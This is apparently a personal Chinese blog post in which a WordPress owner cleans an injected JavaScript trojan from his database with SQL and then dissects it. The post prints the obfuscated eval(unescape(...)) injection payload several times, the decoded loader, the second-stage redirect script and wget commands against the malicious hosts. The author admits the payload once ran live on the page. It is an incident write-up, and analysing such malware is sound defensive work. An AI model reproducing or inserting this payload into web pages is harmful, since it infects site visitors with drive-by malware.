小杯具了,wordpress居然被挂马了/清理过程兼木马解剖简记

今天真的载了,居然wordpress也被挂马了,太不可思议了。

事情如下:

晚上发篇文章,突然想到了一个对wordpress进行改进的方案,图片/附件与web分离,当然这个需求可能极少见,因为大多数wordpress都不会遇到这样的问题:空间不够用(直接升级主机了)、对附件的下载打开严重影响到web (如html,css,js)的访问速度。

但进入后台,看到快速发文章的内容框里很怪异,默认就有下面的一段文字,js代码,下面的最近草稿也显示有类似的js代码,心下不好,可能是被挂马了。不过还好,前几天为了试用新买vps性能,把整个wordpress数据库备份了一份,看来还真是所幸。

没有马上理会,记下wp改进方案,但没写几个字,感觉心里不舒服,wp的影响到底有多大,还并不知道。于是在wp后台里随便查看文章,连phpmyadmin查看数据库,初步的评估是,并不严重,只发现了在文章内容字段最后加入了下面的一段js代码,应该并没有数据丢失。这个问题,处理很容易,数据库update就可以了。在进行操作之前,备份整个数据库,保留原始“罪证”材料。于是执行如本文后面附的sql代码,问题得以解决,不想同一个数据库里放的另一个wp也同样的被挂马了,于是同样代码处理之。得解,mysql数据库的其它表,没有仔细检验,大致扫了一下,应该没有挂。明天周五,该周末了,周末再仔细检查一下。

被挂马,定是有漏洞,但漏洞在哪里还并不得而知。也要到周末再查了。

数据备份很重要,要启动自动备份机制,还是要购买并安装到vps上更合适。vps可以容易设置服务器上的定时任务。

写这篇文章时,才意识到怪不得今天访问量比前几天明显的低,被挂马也能也就是其中一个原因,估计还是重要原因。之前还以为可能的目的访客都关注“盐”的问题去了。
这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4201 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

清理木马的sql代码

update `pre_posts` set `post_content`=replace(`post_content`,'<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>','')

影响了 4045 行。 ( 查询花费 0.8925 秒 )

-----------------------------

UPDATE `pre2_posts` SET `post_content` = replace( `post_content` , '<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>', '' )

影响了 2174 行。 ( 查询花费 3.1435 秒 )

 

---------------------以下部分为2011-03-19补写,上面部分也有少量改动。---------------------

致歉:

因为笔者不慎,而导致本文中木马的存在,特向读者朋友们致歉,建议在2011-03-19 12:00 前读过本文、且使用windows操作系统的读者,全盘扫描病毒,以保障安全。
因为笔者主要使用fedora linux,在一定程度上,这也造成了没有及时发现这一问题。

再次杯具的发现:

本周六上午,看到wordpress里有条留言,"在浏览你:“小杯具了,wordpress居然被挂马了/清理过程简记”这个帖子的时候发现自动跳转到一个网页,下载了几个。EXE 用360扫描后发现报病毒,下面是下载信息: pcupdate107_2129.exe http://www1.firstok-security.rr.nu/retkko107_2129.php?xtev4=nNra76uj2eTZ29CRotz 不知道是我浏览器问题还是怎么回事,当时我用scientific 加 chrome",心下不好,当时好像是使用wordpress后台发文章时,好像是使用的html代码模式,而不是可视化编辑器模式,直接把js的木马帖进去,那岂不是自己给自己种了木马?! 马上查看文章,速度很慢;为了安全起见趁页面还没有打开,关闭了firefox的js(使用js switch插件实现)。果然,html源代码里那个木马静静的躺着,好像在呲牙咧嘴的嘲笑着我,马上把整个html剪切出来,稍作修饰,切换到可视化编辑器下贴进去。html里的<,>就被自动转义为&lt;与&gt;这样就不会被浏览器当作js代码执行了。——废话了——修改完毕后,对这只木马要解剖一下,这也是前天写篇文章时想做的,但因为已经是深夜12点多,而暂放下。

致谢:

——上面所说的留言由“标点sign555.blog.51cto.com/”所发,在这里深表由衷的感谢!!

木马解剖:

这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4201 ;但笔者不能保证对本文的转载也是安全。
<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

分析:这也是清理木马时就想做的事情。木马本身是一段转码过和js字符串,执行时要先unescape反转码,得到一个字符串,然后把该字符串当作一段代码eval执行。

新建一个.html文件,内容如下:

<script>document.write(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>
在chrome里查看,但得到提示消息:

看来chrome在安全方面做得确实不错,对于包含恶意代码的网站给出警示消息。分析可能反编码后的代码还是,一段js,再从某个网站上下载木马(一般网页挂马都是这个模式),document.write 写到页面里的这段代码,还是可能被执行的,这不安全的,尽管我在linux下,要换一下输出方式。

使用alert提示框,这样反转码后的字符串是不会被执行的。而且在fedora linux下的alert提示框也是可以使用鼠标选择复制的,这比windows下的alert消息框方便多了!代码如下

<script>alert(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%61%6E%64%6C%65%2E%63%6F%6D%2F%6A%73%2E%70%68%70%3F%6B%6B%3D%33%33%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B"))</script>

小心,这段也是木马
document.write('<script src="http://lessthenaminutehandle.com/js.php?kk=33"></script>');

看到了,反编码后的字串果然就是个document.write语句,往页面html文档里写入一段js,这段js就来自一个从外部站点上下来的文档,这里还是个动态文件,看来这个域名上有很多木马,以参数传递;或者后面的?kk=33只是用来统计来源的字串。

看看它是什么东西,要有点探索精神~~

这次就不能使用浏览器了,不安全,也不方便;那用什么呢?Linux终端命令行啊!wget 这不是最方便的工具吗?

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=33

[feng@fsc tmp]$ cat js.php\?kk\=33

function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
var ewefwe=new Date();
var vcwc = ewefwe.getDate()+ebtal;
ewefwe.setDate(vcwc);
var owc3te = ewefwe.toGMTString();
document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
return "";
}

if (wsdfsdd("eererfero")==""){
ssdfsc("eererfero","1",20);
var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

window.top.location.replace(derverv);
}

还要从别的站点上下载文件,不知道是什么,再来点探索精神,看看:

wget -O xxx.js http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D

以为又是个js,结果是个html文档,比较大,就不贴出来了,参看附件:

xxx.js.html.zip 木马文件,慎重下载

还有,前面的js请求传递的kk=33,分析一下这个站点上是不是多个木马,还仅仅是个统计用的参数

[feng@fsc tmp]$ wget http://lessthenaminutehandle.com/js.php?kk=32
--2011-03-19 12:12:06--  http://lessthenaminutehandle.com/js.php?kk=32
正在解析主机 lessthenaminutehandle.com... 91.193.194.110
正在连接 lessthenaminutehandle.com|91.193.194.110|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:573 [text/html]
正在保存至: “js.php?kk=32”

100%[======================================>] 573         --.-K/s   in 0s      

2011-03-19 12:12:07 (36.2 MB/s) - 已保存 “js.php?kk=32” [573/573])

[feng@fsc tmp]$ cat js.php\?kk\=32


function ssdfsc(cefrvwerfv3rg5e,vbeal,ebtal){
 var ewefwe=new Date();
 var vcwc = ewefwe.getDate()+ebtal;
 ewefwe.setDate(vcwc);
 var owc3te = ewefwe.toGMTString();
 document.cookie=cefrvwerfv3rg5e+"="+escape(vbeal)+";expires="+owc3te;

}

function wsdfsdd(cefrvwerfv3rg5e){
 if (document.cookie.indexOf(cefrvwerfv3rg5e+"=")!=-1)return "1";
 return "";
}

if (wsdfsdd("eererfero")==""){
 ssdfsc("eererfero","1",20);
 var derverv="http://www3.personalsecurityrn.rr.nu/?1dd9536=m%2Bzgl2uilqSsld7K0LCYienm1bHco6djpaJgo6xjlYg%3D";

 window.top.location.replace(derverv);
}

好像一样,那基本上可以认定是个统计参数,马夫们也要来统计马都撒到哪里了,虽然这些马夫很可恶,没有一点黑客精神,就会拿黑客技术来搞破坏、谋私利!

貌似很复杂,都十二点半了,不看了,探索精神不能当饭吃,准备吃饭去。

突然联想到,这些所谓有黑客他,也会说一句类似的话:“黑客精神又不能当饭吃!” ——这个最让整个人类蛋疼的事情:“吃饭”